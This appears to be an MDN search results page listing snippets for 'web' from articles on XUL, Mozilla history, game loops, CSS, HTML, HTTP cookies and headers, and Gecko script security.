ed on it, but how they might adopt it for their own use. XUL (pronounced "zool") is Mozilla's XML-based user interface language that lets you build feature rich cross-platform applications that can run connected to or disconnected from the Internet. These applications are easily customized with alternative text, graphics, and layout so they can be readily branded or localized for various markets.
Web developers already familiar with Dynamic HTML (DHTML) will learn XUL quickly and can start building applications right away. Also described are some reasons application developers might choose to leverage XUL and Mozilla technology for building cross-platform applications. This same investigation will provide sufficient explanation of Mozilla's motivation to build XUL and why the Mozilla platfor...
...e explored followed by an examination of supporting Mozilla technologies. Finally, a mini case study of a Calendar application written in XUL will reinforce the benefits of building applications with Mozilla. Key Features and Benefits Powerful widget-based markup language The goal of XUL is to build cross platform applications, in contrast with DHTML which is intended for developing
web pages. For this reason, XUL is oriented toward application artifacts such as windows, labels, and buttons instead of pages, heading levels, and hypertext links. In fact, many developers invest a significant amount of effort to achieve these results in their DHTML
web applications but at the cost of complexity and performance and without any supporting standards. Based on existing...
... Since XUL provides an abstraction of user interface components, it delivers on the promise of write-once, run-anywhere. The user interface for all of Mozilla's core applications (Browser, Messenger, Address Book, etc.) is written in XUL with one single code base supporting all Mozilla platforms. Separation of presentation from application logic One of the major downfalls of most
web applications is the tight coupling of user interface elements with client application logic. This poses a significant problem in team environments because the skills required to develop these two parts are often satisfied by different people. XUL provides a clear separation among the client application definition and programmatic logic ("content" consisting of XUL, XBL, and JavaScript), prese...
...And 6 more matches
Mozilla release FAQ - Archive of obsolete content
t takes the current version of Mozilla, makes modifications, and does its own QA. In return for this, Netscape (AOL) contributes developers to work on the project. The Netscape versions may have a different look/feel than Mozilla versions, and also may add proprietary features. The Netscape versions are all branded as Netscape (AOL) products. What resources are available to the Mozilla community?
Webpages Mozilla Project Homepage Netscape Developer Program
Website MozillaZine (News service) Mozilla Evangelism Effort MozDev Projects IRC Server: irc.mozilla.org channel #mozillazine Note that recent versions of Mozilla include an IRC client. Other IRC clients can be found at irchelp.org. Usenet All newsgroups in the netscape.public.mozilla.* hierarchy. If your news server ...
...ative to Unix Qt = Another GUI toolkit XP = Cross Platform XPFE = Cross-platform frontend based on NGLayout M[number] = Milestone release [number] (no longer used) I'm wondering how to do XXX with Navigator 3.x... The Mozilla newsgroups are intended to be used by people who will be working with Mozilla, either in an organizational fashion, suggesting features, or coding. Visit Netscape's
website for help on that software. I went and made a suggestion and people were rude to me. Why? If you posted it to the mailing list/newsgroups, remember that on Usenet, people are not always polite to each other. Some people are just rude, and some people have a low tolerance for uninformed people. If you're new to the Mozilla newsgroups, you probably should be reading the newsgroup for a few days ...
...to the Mozilla newsgroups, you probably should be reading the newsgroup for a few days regularly before you post anything. Reading this FAQ might help as well. I did all that, and people were still rude to me. Why? If you're proposing reworking something (like HTTP, HTML, etc) you're expected to have a pretty good knowlege of it first. For example, if you were to make a proposal to compress whole
webpages before sending them, devise a new protocol to do so, research how HTTP works, how HTML works, and think about all the good *and* bad points of reworking things. To start understanding the issues with this example, you should dig up the RFCs for the relevant protocols, any documents written on the subject, etc. For this particular example, you would want to go look at Relevant Topics Stuar...
...And 6 more matches
References - Archive of obsolete content
<- Previous section: Summary of Changes You can learn more on using
web standards from these sites (listed in no particular order): What are
web standards and why should I use them? What are the advantages of using
web standards? ...
... <- Previous section: Summary of Changes You can learn more on using
web standards from these sites (listed in no particular order): What are
web standards and why should I use them? What are the advantages of using
web standards? ...
... <- Previous section: Summary of Changes You can learn more on using
web standards from these sites (listed in no particular order): What are
web standards and why should I use them? What are the advantages of using
web standards? ...
...And 6 more matches
Anatomy of a video game - Game development
This article looks at the anatomy and workflow of the average video game from a technical point of view, in terms of how the main loop should run. It helps beginners to the modern game development arena understand what is required when building a game and how
web standards like JavaScript lend themselves as tools. Experienced game programmers who are new to
web development could also benefit, too. Present, accept, interpret, calculate, repeat The goal of every video game is to present the user(s) with a situation, accept their input, interpret those signals into actions, and calculate a new situation resulting from those acts. Games are constantly looping through these stages, over and over, until some end condition occurs (such as winning, losing, or exiting to go to bed). Not surprisin...
...o be called on a strict interval of time, every frame, or only after something else happens. Being more specific with the browser about when your function needs to be called allows the browser to optimize when it is called. Also, it will probably make your job easier. Some code needs to be run frame-by-frame so why attach that function to anything other than the browser's redraw schedule? On the
Web, window.requestAnimationFrame() will be the foundation of most well-programmed per-frame main loops. A callback function must be passed in to it when it is called. That callback function will be executed at a suitable time before the next repaint. Here is an example of a simple main loop: window.main = function () { window.requestAnimationFrame( main ); // Whatever your main loop needs to ...
... You can think about developing realtime applications as having a budget of time to do work. All of the above steps must take place every 16-and-a-half milliseconds to keep up with a 60 Hz display. Browsers invoke your code as early as possible to give it maximum computation time. Your main thread will often start workloads that are not even on the main thread (such as rasterization or shaders in
WebGL). Long calculations can be performed on a
Web Worker or a GPU at the same time as the browser uses its main thread to manage garbage collection, its other tasks, or handle asynchronous events. While we are on the topic of budgeting time, many
web browsers have a tool called High Resolution Time. The Date object is no longer the recognised method for timing events because it is very imprecise a...
...And 6 more matches
Visual-js game engine - Game development
Full name : Visual-js GUI for windows Multiplatform 2d Game engine creator : Nikola Lukic 2017 2018 open source Visual-js project parts : -2D PART : This is JavaScript game engine (server part node.js / client part js) Js framework with windows GUI editor and game instance creator. ( + server engine tools + server part of
web apps ) -3D PART :
webgl based on three.js engine -3D PART :
webGL2 based on glmatrix 2.0 -2D PART (new): This is TypeScript based game engine (client part ts). With strong connection with
webpack Physics done with (matter.js) matter ts This part is removed from this project. New link is : https://github.com/zlatnaspirala/visual-ts-game-engine Basic licence rules : 1) Each file in this project has its own license , be careful , do not viola...
...s" and without warranty of any kind, express, implied or otherwise, including without limitation, any warranty of merchantability or fitness for a particular purpose. In no event shall the author of this software be held liable for data loss, damages, loss of profits or any other kind of loss while using or misusing this software. ...
...s software be held liable for data loss, damages, loss of profits or any other kind of loss while using or misusing this software. External licences in this project :
Webcam NUI control is under : Created by Romuald Quantin. ...
...And 6 more matches
Debugging JavaScript
This shows any JavaScript errors in your app, as well as any logging calls from the console API. Browser Console The Browser Console lets you see all JavaScript errors and logging in the browser, including from Firefox code. ...
...This shows any JavaScript errors in your app, as well as any logging calls from the console API. ...
...This shows any JavaScript errors in your app, as well as any logging calls from the console API. Browser Console The Browser Console lets you see all JavaScript errors and logging in the browser, including from Firefox code. ...
...And 6 more matches
Experimental features in Firefox
In order to test new features, Mozilla publishes a test version of the Firefox browser, Firefox Nightly, every day. These nightly builds of Firefox typically include experimental or partially-implemented features, including those for proposed or cutting-edge
Web platform standards. This page lists features that are in Nightly versions of Firefox along with information on how to activate them, if necessary. You can test your
Web sites and applications before these features get released and ensure everything will still work with the latest
Web technology capabilities. To test these experimental features, you need to download Firefox Nightly or Firefox Developer Edition. Which you need is described alongside each feature's description below. Editor's note: When adding features to these tabl...
...low the color transitions to be rendered circling around a center point rather than radiating from it. See bug 1175958 for more details. Release channel Version added Enabled by default? Nightly 75 No Developer Edition 75 No Beta 75 No Release 75 No Preference name layout.css.conic-gradient.enabled and gfx.
webrender.all Pseudo-class: :focus-visible Allows focus styles to be applied to elements like buttons and form controls, only when they are focused using the keyboard (e.g. when tabbing between elements), and not when they are focused using a mouse or other pointing device. See bug 1617600 for more details. Release channel Version added Enabled by default? Nightly...
...Refer to bug 1506364 for more details. Release channel Version added Enabled by default? Nightly 80 No Developer Edition 80 No Beta 80 No Release 80 No Preference name layout.css.prefers-contrast.enabled APIs Graphics: Canvas,
WebGL, and
WebGPU Interface: OffscreenCanvas The OffscreenCan...
...And 6 more matches
Using the viewport meta tag to control layout on mobile browsers
This is often not the same size as the rendered page, in which case the browser provides scrollbars for the user to scroll around and access all the content. Narrow screen devices (e.g. mobiles) render pages in a virtual window or viewport, which is usually wider than the screen, and then shrink the rendered result down so it can all be seen at once. Users can then pan and zoom to see different areas of the page. For example, if a mobile screen has a width of 640px, pages might be rendered with a virtual viewport of 980px, and then it will be shrunk down to fit into the 640px space. ...
...ewport meta tag However, this mechanism is not so good for pages that are optimized for narrow screens using media queries -- if the virtual viewport is 980px for example, media queries that kick in at 640px or 480px or less will never be used, limiting the effectiveness of such responsive design techniques. To mitigate this problem, Apple introduced the "viewport meta tag" in Safari iOS to let
web developers control the viewport's size and scale. Many other mobile browsers now support this tag, although it is not part of any
web standard. Apple's documentation does a good job explaining how
web developers can use this tag, but we had to do some detective work to figure out exactly how to implement it in Fennec. For example, Safari's documentation says the content is a "comma-delimited list...
... Learn more about viewports in different mobile browsers in A Tale of Two Viewports at quirksmode.org. ...
...And 6 more matches
Using XPCOM Components
Applications like the Mozilla browser are sophisticated, modularized clients of XPCOM components. ...
...y that you associate with a browser - navigation, window management, managing cookies, bookmarks, security, searching, rendering, and other features - is defined in XPCOM components and accessed by means of those component interfaces. Mozilla is made of XPCOM components. This chapter demonstrates how Mozilla uses some of these XPCOM objects, such as the CookieManager, and shows how access to the
WebLock component will be defined. Component Examples You can find out more about how you can use the particular components described here in the XPCOM API Reference. For now, what's important to see is how components like the ones in this section are obtained and used by the Mozilla browser. Cookie Manager Cookie management is one of the many sets of functionality that is made available to the b...
...urselves as part of this tutorial[cookie-manager-in-tutorial]. JavaScript and Mozilla JavaScript is the lingua franca of the Mozilla browser front-end, and the bindings between it and XPCOM are strong and well-defined. Scriptability, this ability to get and use XPCOM components from JavaScript and other languages for which XPConnect bindings have been created, is a core feature of XPCOM. The
WebBrowserFind Component Components are used all over - in high-level browser-like functionality such as ns
WebBrowserFind, which provides find() and findNext() methods for finding content in
web pages, and in low-level tasks such as the manipulation of data. Though not every API in Mozilla is or should be "XPCOMified", much if not all of the typical functionality that browsers provide is available i...
...And 6 more matches
Introduction to DOM Inspector - Firefox Developer Tools
DOM Inspector is standalone; it supports all toolkit applications, and it's possible to embed it in your own XULRunner app. DOM Inspector can serve as a sanity check to verify the state of the DOM, or it can be used to manipulate the DOM by hand, if desired. Note: Starting with Firefox 3, the DOM Inspector is not included in Firefox by default; instead, you must download and install it from the Mozilla add-ons
web site. ...
...s standalone; it supports all toolkit applications, and it's possible to embed it in your own XULRunner app. DOM Inspector can serve as a sanity check to verify the state of the DOM, or it can be used to manipulate the DOM by hand, if desired. Note: Starting with Firefox 3, the DOM Inspector is not included in Firefox by default; instead, you must download and install it from the Mozilla add-ons
web site. (Note: this is now a dead link.) When you first start the DOM Inspector, you are presented with a two-pane application window that looks a little like the main Mozilla browser. Like the browser, the DOM Inspector includes an address bar, and some of the same menus. In SeaMonkey additional global menus will be available. Inspecting a Document When the DOM Inspector opens, it may or may ...
...lication. If the DOM Inspector doesn't automatically load a document or loads a document other than the one you'd like to inspect, you can select the desired document a few different ways. Inspecting Content Documents The Inspect Content Document menupopup can be accessed from the File menu, and it will list currently loaded content documents. In Firefox and SeaMonkey browser, these will be the
webpages you have opened in tabs. For Thunderbird and SeaMonkey Mail and News, any messages you're viewing will be listed here. Inspecting Chrome Documents The Inspect Chrome Document menupopup can be accessed from the File menu , and it will contain the list of currently loaded chrome windows and subdocuments. A browser window and the DOM Inspector are likely be already open and displayed in this ...
...And 6 more matches
Cognitive accessibility - Accessibility
Cognitive impairment refers to a broad range of disabilities, from people with intellectual disabilities who may have the most-limited capabilities, to age-related issues with thinking and remembering. The range includes people with mental illnesses, such as depression and schizophrenia. ...
...earning disabilities, such as dyslexia and attention deficit hyperactivity disorder (ADHD). Though there is a lot of diversity within clinical definitions of cognitive impairments, people with them experience a common set of functional problems. These problems include difficulty with understanding content, remembering how to complete tasks, and confusion caused by inconsistent or non-traditional
web page layouts. In this document, we focus on steps developers should take to improve the cognitive accessibility of their
web sites and applications. Overview Cognitive and intellectual disabilities cover a large spectrum, and may be momentary, temporary, or permanent conditions. For example, dementia and Alzheimer's are permanent cognitive impairments that get progressively worse. Other permane...
... ...
...And 6 more matches
@font-feature-values - CSS: Cascading Style Sheets
definition of '@font-feature-values' in that specification. Working Draft Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 24Disabled Disabled From version 24: this feature is behind the layout.css.font-features.enabled preference (needs to be set to true). ...
... 24Disabled Disabled From version 24: this feature is behind the layout.css.font-features.enabled preference (needs to be set to true). ...
...And 6 more matches
animation-delay - CSS: Cascading Style Sheets
onsThe definition of 'animation-delay' in that specification. Working Draft Initial definition. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...hromeEdgeFirefoxInternet ExplorerOperaSafariAndroid
webviewChrome for AndroidFirefox for AndroidOpera for AndroidSafari on iOSSamsung Internetanimation-delayChrome Full support 43 Full support 43 Full support 3Prefixed Prefixed Implemented with the vendor prefix: -
webkit-Edge Full support 12Firefox Full support 16Notes Full support 16Notes Notes Before Firefox 57, Firefox does not repaint elements outside the viewport that are animated into the viewport with a delay. This bug affects only some platforms, such as Windows. ...
... 16Notes Full support 16Notes Notes Before Firefox 57, Firefox does not repaint elements outside the viewport that are animated into the viewport with a delay. This bug affects only some platforms, such as Windows. Full support 49Prefixed Prefixed Implemented with the vendor prefix: -
webkit- Full support 44Prefixed Disabled Prefixed Implemented with the vendor prefix: -
webkit-Disabled From version 44: this feature is behind the layout.css.prefixes.
webkit preference (needs to be set to true). To change preferences in Firefox, visit about:config. Full support 5Prefixed Prefixed Implemented wit...
...And 6 more matches
position - CSS: Cascading Style Sheets
Recommendation ...
... 3The definition of 'position' in that specification. Working Draft Adds sticky property value. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rectly when applied to elements inside tables that have border-collapse applied to them (bug 1379306).Notes Before Firefox 30, absolute positioning of table rows and row groups was not supported (bug 63895).IE Full support 4Opera Full support 4Safari Full support 1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 4Notes Full support 4Notes Notes Before Firefox 57, absolute positioning did not work correctly when applied to elements inside ta...
...And 6 more matches
Overview of events and handlers - Developer guides
This overview of events and event handling explains the code design pattern used to react to incidents occurring when a browser accesses a
web page, and it summarizes the types of such incidents modern
web browsers can handle. Events and event handling provide a core technique in JavaScript for reacting to incidents occurring when a browser accesses a
web page, including events from preparing a
web page for display, from interacting with the content of the
web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing. ...
...ng provide a core technique in JavaScript for reacting to incidents occurring when a browser accesses a
web page, including events from preparing a
web page for display, from interacting with the content of the
web page, relating to the device on which the browser is running, and from many other causes such as media stream playback or animation timing. Events and event handling become central to
web programming with the addition of the language to browsers, accompanying a switch in the rendering architecture of browsers from fetch and load page rendering to event driven, reflow based, page rendering. Initially, browsers wait, until they receive all of the resources associated with a page, to parse, process, draw, and present the page to the user. The displayed page remains unchanged until th...
...takes as an argument the data structure which was agreed upon, and registering the function using the name String with the object which will emit the event. The function is said to be a 'listener' or a 'handler' with both names used interchangeably. This pattern can easily be followed using completely custom code, as explained in the article on custom events. The pattern is also used by modern
web browsers which define many events emitted in response to user input or browser activity. Modern
web browsers follow the event pattern using a standardized approach. Browsers use as the data structure for the properties of the event, an object derived from the EventPrototype object. Browsers use as the registration method for the function which will handle those data structures a method called ad...
...And 6 more matches
Using HTML sections and outlines - Developer guides
Therefore the outline algorithm should not be used to convey document structure to users. Authors are advised to use heading rank (h1-h6) to convey document structure. The HTML5 specification introduced several semantic sectioning elements to help organize the structure of documents. Semantic sectioning elements are specifically designed to communicate structural meaning to browsers and other technologies interpreting the document on behalf of users, such as screen readers and voice assistants. ...
...ing the HTML source can divine the meaning of a class like navigation. By contrast, the <nav> sectioning element more clearly describes to browsers and other devices the content contained: links or other navigational structures to help users move through and understand where they are in a site's or page's content. New semantic elements were added to HTML5 to improve and clarify the sectioning of
websites into meaningful areas of content. It is important for developers to use these semantic elements in line with their intended purposes. Many accessibility tools as well as reader views provided by some browsers rely on semantic sectioning elements. So don't simply swap out an existing tangle of <div> elements for a bunch of <section> elements. Section Elements in HTML5 HTML Navigational El...
... list elements are common for navigation they are not required. You can use other elements such as <p>. Article Element The <article> element indicates self-contained content, meaning that if you removed all the other HTML except the <article> element, the content would still make sense to a reader. <article> <h1>How to Become an MDN Contributor</h1> <p> Do you want to help protect the
web?.... </p> </article> Nesting Elements Inside an Article The <article> element can have other semantic elements such as headers, asides, and footers. This is often useful if you want to add CSS selectors to the class property of the element to style the document. <article> <header> <h1>How to Become an MDN Contributor</h1> </header> <p> Do you want to help protect the
web?.... ...
...And 6 more matches
Localizations and character encodings - Developer guides
Browsers process text as Unicode internally. However, a way of representing characters in terms of bytes (character encoding) is used for transferring text over the network to the browser. The HTML specification recommends the use of the UTF-8 encoding (which can represent all of Unicode) and regardless of the encoding used requires
Web content to declare what encoding was used. ...
...hat encoding was used. The <meta> element's charset attribute is used to specify the page's character encoding. It must be used within a <head> block. To specify that a page is using, for example, the UTF-8 character encoding (as per the recommendation), simply place the following line in the <head> block: <meta charset="utf-8"> Details and browser internals When the encoding is declared by
Web content like the HTML specification requires, Firefox will use that encoding for turning the bytes into the internal representation. Unfortunately, using UTF-8 and declaring that UTF-8 was used was not always the prevalent way of offering
Web content. In the 1990s, it was common to leave the encoding undeclared and to use a region-specific encoding that wasn't able to represent all of Unicode. F...
...it uses for non-conforming legacy content that doesn't declare its encoding. For most locales, the fallback encoding is windows-1252 (often called ISO-8859-1), which was the encoding emitted by most Windows applications in the 1990s and a superset of the encoding emitted by most UNIX applications in the 1990s as a deployed in the America has and in Western Europe. ...
...And 6 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
ureInPicture Prevents the browser from suggesting a Picture-in-Picture context menu or to request Picture-in-Picture automatically in some cases. disableRemotePlayback A Boolean attribute used to disable the capability of remote playback in devices that are attached using wired (HDMI, DVI, etc.) and wireless technologies (Miracast, Chromecast, DLNA, AirPlay, etc). ...
... height The height of the video's display area, in CSS pixels (absolute values only; no percentages.) intrinsicsize This attribute tells the browser to ignore the actual intrinsic size of the image and pretend it's the size specified in the attribute. ...
...e x-
webkit-airplay="deny" as a fallback. duration Read only A double-precision floating-point value which indicates the duration (total length) of the media in seconds, on the media's timeline. If no media is present on the element, or the media is not valid, the returned value is NaN. If the media has no known end (such as for live streams of unknown duration,
web radio, media incoming from
WebRTC, and so forth), this value is +Infinity. height The height of the video's display area, in CSS pixels (absolute values only; no percentages.) intrinsicsize This attribute tells the browser to ignore the actual intrinsic size of the image and pretend it's the size specified in the attribute. Specifically, the image would raster at these dimensions and naturalWidth/naturalHeight on images ...
...And 6 more matches
Using the application cache - HTML: Hypertext Markup Language
As of Firefox 44+, when AppCache is used to provide offline support for a page, a warning message displays in the console advising developers to use Service workers instead (bug 1204581). Introduction HTML5 provides an application caching mechanism that lets
web applications run offline. This Application Cache (AppCache) interface lists resources that browsers should cache to be available offline. Applications that are cached load and work correctly offline, even if users press the Refresh button. ...
...nifest file. You do not need to list all pages you want cached in the manifest file, the browser implicitly adds every page that the user visits and that has the manifest attribute set to the application cache. Some browsers (e.g., Firefox) display a notification bar the first time a user loads an application that uses the application cache. The notification bar displays a message such as: This
website (example.com) is asking to store data on your computer for offline use. [Allow] [Never for This Site] [Not Now] The term "offline(-enabled) applications" sometimes refers specifically to applications that the user has allowed to use offline capabilities. Loading documents The use of an application cache modifies the normal process of loading a document: If an application cache exists, t...
... can be cleared for each site separately using the "Remove..." button in Tools -> Options -> Advanced -> Network -> Offline data. Prior to Firefox 11, neither Tools -> Clear Recent History nor Tools -> Options -> Advanced -> Network -> Offline data -> Clear Now cleared the offline cache. This has been fixed. On Linux, you can find the setting at Edit > Preferences > Advanced > Network > Offline
Web Content and User Data See also clearing the DOM Storage data. Application caches can also become obsolete. If an application's manifest file is removed from the server, the browser removes all application caches that use that manifest, and sends an "obsoleted" event to the applicationCache object. This sets the application cache's state to OBSOLETE. The cache manifest file Referencing a cache...
...And 6 more matches
Using HTTP cookies - HTTP
The browser may store it and send it back with later requests to the same server. Typically, it's used to tell if two requests came from the same browser -- keeping a user logged-in, for example. It remembers stateful information for the stateless HTTP protocol. Cookies are mainly used for three purposes: Session management Logins, shopping carts, game scores, or anything else the server should remember Personalization User preferences, themes, and other settings Tracking Recording and analyzing user behavior Cookies were once used for general client-side storage. ...
...r settings Tracking Recording and analyzing user behavior Cookies were once used for general client-side storage. While this was legitimate when they were the only way to store data on the client, it is now recommended to use modern storage APIs. Cookies are sent with every request, so they can worsen performance (especially for mobile data connections). Modern APIs for client storage are the
Web Storage API (localStorage and sessionStorage) and IndexedDB. To see stored cookies (and other storage that a
web page can use), you can enable the Storage Inspector in Developer Tools and select Cookies from the storage tree. Creating cookies After receiving an HTTP request, a server can send one or more Set-Cookie headers with the response. The cookie is usually stored by the browser, and t...
...le, if Domain=mozilla.org is set, then cookies are available on subdomains like developer.mozilla.org. Path attribute The Path attribute indicates a URL path that must exist in the requested URL in order to send the Cookie header. The %x2F ("/") character is considered a directory separator, and subdirectories match as well. For example, if Path=/docs is set, these paths match: /docs /docs/
Web/ /docs/
Web/HTTP SameSite attribute The SameSite attribute lets servers require that a cookie shouldn't be sent with cross-origin requests (where Site is defined by the registrable domain), which provides some protection against cross-site request forgery attacks (CSRF). It takes three possible values: Strict, Lax, and None. With Strict, the cookie is sent only to the same site as the one tha...
...And 6 more matches
HTTP headers - HTTP
ss a resource behind a proxy server. Proxy-Authorization Contains the credentials to authenticate a user agent with a proxy server. Caching Age The time, in seconds, that the object has been in a proxy cache. Cache-Control Directives for caching mechanisms in both requests and responses. Clear-Site-Data Clears browsing data (e.g. cookies, storage, cache) associated with the requesting
website. Expires The date/time after which the response is considered stale. Pragma Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the Cache-Control header is not yet present. Warning General warning information about possible problems. Client hints HTTP Client hints are a wor...
...s considered stale. Pragma Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the Cache-Control header is not yet present. Warning General warning information about possible problems. Client hints HTTP Client hints are a work in progress. Actual documentation can be found on the
website of the HTTP working group. Accept-CH Servers can advertise support for Client Hints using the Accept-CH header field or an equivalent HTML <meta> element with http-equiv attribute ([HTML5]). Accept-CH-Lifetime Servers can ask the client to remember the set of Client Hints that the server supports for a specified period of time, to enable delivery of Client Hints on subsequent reques...
... user to differentiate according to the users' own preferred language. Content-Location Indicates an alternate location for the returned data. Proxies Forwarded Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request. X-Forwarded-For Identifies the originating IP addresses of a client connecting to a
web server through an HTTP proxy or a load balancer. X-Forwarded-Host Identifies the original host requested that a client used to connect to your proxy or load balancer. X-Forwarded-Proto Identifies the protocol (HTTP or HTTPS) that a client used to connect to your proxy or load balancer. Via Added by proxies, both forward and reverse proxies, and can appear in the request headers and the ...
...And 6 more matches
Standard built-in objects - JavaScript
ecially async code (without using deeply nested callbacks, for example). ...
...de (without using deeply nested callbacks, for example). ...
...sing deeply nested callbacks, for example). Promise Generator GeneratorFunction AsyncFunction Reflection Reflect Proxy Internationalization Additions to the ECMAScript core for language-sensitive functionalities. ...
...And 6 more matches
Tutorials
The links on this page lead to a variety of tutorials and training materials. Whether you are just starting out, learning the basics, or are an old hand at
web development, you can find helpful resources here for best practices. These resources are created by forward-thinking companies and
web developers who have embraced open standards and best practices for
web development and that provide or allow translations, through an open content license such as Creative Commons. For complete beginners to the
Web Getting started with the
Web Getting started with the
Web is a concise series introducing you to the practicalities of
web development. You'll set up the tools you need to construct a simple
webpage and publish your own simple code. HTML Tutorials Introductory level Int...
...series introducing you to the practicalities of
web development. You'll set up the tools you need to construct a simple
webpage and publish your own simple code. HTML Tutorials Introductory level Introduction to HTML This module sets the stage, getting you used to important concepts and syntax, looking at applying HTML to text, how to create hyperlinks, and how to use HTML to structure a
webpage. MDN HTML element reference A comprehensive reference for HTML elements, and how the different browsers support them. Creating a Simple
Web Page with HTML An HTML guide for beginners that includes explanations of common tags, including HTML5 tags. Also includes a step-by-step guide to creating a basic
web page with code examples. HTML Challenges Use these challenges to hone your ...
... tags, including HTML5 tags. Also includes a step-by-step guide to creating a basic
web page with code examples. HTML Challenges Use these challenges to hone your HTML skills (for example, "Should I use an <h2> element or a <strong> element?"), focusing on meaningful markup. Intermediate level Multimedia and embedding This module explores how to use HTML to include multimedia in your
web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other
webpages. HTML tables Representing tabular data on a
webpage in an understandable, accessible way can be a challenge. This module covers basic table markup, along with more complex features such as implementing captions and summaries. Advanced level HTML forms For...
...And 6 more matches
Listening to events in Firefox extensions - Archive of obsolete content
ContentLoaded Dispatched when the initial DOM for the page is completely loaded. load Dispatched after the page--including images--has first finished loading. unload Dispatched when the user has navigated away from the page. pageshow Dispatched when a page is newly displayed. pagehide Dispatched when a page is hidden. Standard behavior for
Web pages is: User navigates to a page. As the page loads, inline scripts run. Once the page is loaded, the onload handler fires. Some pages include a fourth step. If a page uses an unload or beforeunload handler, it fires when the user navigates away from the page. If an unload handler is present, the page will not be cached. When a user navigates to a cached page, inline scripts and the onl...
...ment. If the page contains frames, then when the cached page is loaded: pageshow events from each frame fire before the pageshow event in the main document fires. When the user navigates away from the cached page, the pagehide event from each frame fires before the pagehide event in the main document. For navigation that occurs inside a single frame, events fire only in the affected frame. ...
...ched page is loaded: pageshow events from each frame fire before the pageshow event in the main document fires. When the user navigates away from the cached page, the pagehide event from each frame fires before the pagehide event in the main document. For navigation that occurs inside a single frame, events fire only in the affected frame.
Web progress listeners For more information about
web loads a
web progress listener can be used; these provide more details about the progress of loading data from the
web. Both browser and tabbrowser elements support the following: var progressListener = { // add nsI
WebProgressImplementation here } b.addProgressListener(progressListener); Where b is the browser or tabbrowser you want to listen to events for. There are code snippets available ...
...And 5 more matches
Prism - Archive of obsolete content
Prism is no longer developed by Mozilla Labs. There are now no alternatives. Prism is a simple XULRunner-based browser that hosts
web applications without the normal
web browser user interface. Prism is based on a concept called Site-Specific Browsers (SSB). An SSB is designed to work exclusively with a single
web application. It doesn't have the menus, toolbars and other accoutrements of a traditional
web browser. An SSB also offers tighter integration with the operating system and desktop than a typical
web application running through a
web browser. Applications running in an SSB are therefore able to benefit from many of the advantages of the desktop and of the
web at the same time. Benefits Separate process:
Web apps can hog memory or processor cycles or even bring down the...
...cess:
Web apps can hog memory or processor cycles or even bring down the whole browser in extreme cases. By running each app in its own process, we minimize the impact of any mishaps. We can also benefit from operating system tools that lets us view the memory/CPU consumption of a specific application. Minimal user interface: A general-purpose browser UI is not necessary or appropriate for most
web apps. It is more efficient to provide a UI that is specific to the application. This also cuts down on UI clutter (hence the term distraction-free browser). Basic desktop integration: Support of desktop features can make using the app more natural and convenient for end users. This includes the ability to create desktop shortcuts, to place the application icon in the tray or dock and to display...
...to place the application icon in the tray or dock and to display pop-up notifications. Customization: Apps can be run using a shared browser runtime and customized using client-side script (similar to Greasemonkey). Custom stylesheets can be used to tweak the UI. Architectural Overview Prism is a XULRunner application. In addition to the browser engine included in XULRunner, it consists of:
Web app bundle management: Code for creating new
web app bundles and loading existing bundles. Shortcut creation UI: A dialog box lets the user specify attributes of the
web app (name, URI, icon, shortcut locations). JavaScript API: An API that can be used by scripts inside the bundle to customize the application. We are refining this approach to make the API applicable in as many environments as...
...And 5 more matches
Index - Archive of obsolete content
s article is not to describe these items in any great detail but to define what they are in simple terms. I selected items for this group because they seemed to be either shrouded in mystery, misused as concepts or terms, or underestimated according to their role in XUL and cross-platform development. In contrast to the Mozilla Jargon File, this article describes items of specific interest to the
web or content developer looking to establish a context for understanding Mozilla's new technologies -- and in particular Mozilla's XML-based User Interface Language, XUL. 4 Accessibility/XUL Accessibility Reference Accessibility, XUL This table is designed to show how to expose text properly for various XUL element types. Sections in bold are to draw attention to pieces that are...
... No summary! 530 loadURI XUL Methods, XUL Reference NOTE: This is the XUL method on <browser> / <tabbrowser>, not the global function in chrome://browser/content/browser.js. ...
...877 userAction XUL Properties, XUL Reference No summary! 878 value XUL Properties, XUL Reference No summary! 879 valueNumber XUL Properties, XUL Reference No summary! 880 view XUL Properties, XUL Reference No summary! 881 visibleTabs Gecko 2.0, XUL Properties, XUL Reference No summary! 882
webBrowserFind XUL Properties, XUL Reference No summary! 883
webNavigation NeedsHelp, XUL Properties, XUL Reference No summary! 884
webProgress XUL Properties, XUL Reference No summary! 885 width XUL Properties, XUL Reference No summary! 886 wizardPages XUL Properties, XUL Reference No summary! 887 ...
...And 5 more matches
Script security
The rules for determining whether an object is same-origin with another, and what access is allowed cross-origin, are now mostly standardized across browsers. Gecko has an additional problem, though: while its core is written in C++, the front-end code is written in JavaScript. ...
...the user's computer. Legacy SDK extensions also run with chrome privileges. Having the browser front end in JavaScript has benefits: it can be much quicker to develop in JavaScript than in C++, and contributors do not need to learn C++. However, JavaScript is a highly dynamic, malleable language, and without help it's difficult to write system-privileged code that interacts safely with untrusted
web content. From the point of view of chrome code, the script security model in Gecko is intended to provide that help to make writing secure, system-privileged JavaScript a realistic expectation. Security policy Gecko implements the following security policy: Objects that are same-origin are able to access each other freely. For example, the objects associated with a document served from https...
... https://example.org/ trying to access objects from https://somewhere-else.org/ will have restricted access. Objects in a privileged scope are allowed complete access to objects in a less privileged scope, but by default they see a restricted view of such objects, designed to prevent them from being tricked by the untrusted code. An example of this scope is chrome-privileged JavaScript accessing
web content. Objects in a less privileged scope don't get any access to objects in a more privileged scope, unless the more privileged scope explicitly clones those objects. An example of this scope is
web content accessing objects in a chrome-privileged scope. Compartments Compartments are the foundation for Gecko's script security architecture. A compartment is a specific, separate area of mem...
...And 5 more matches
Index
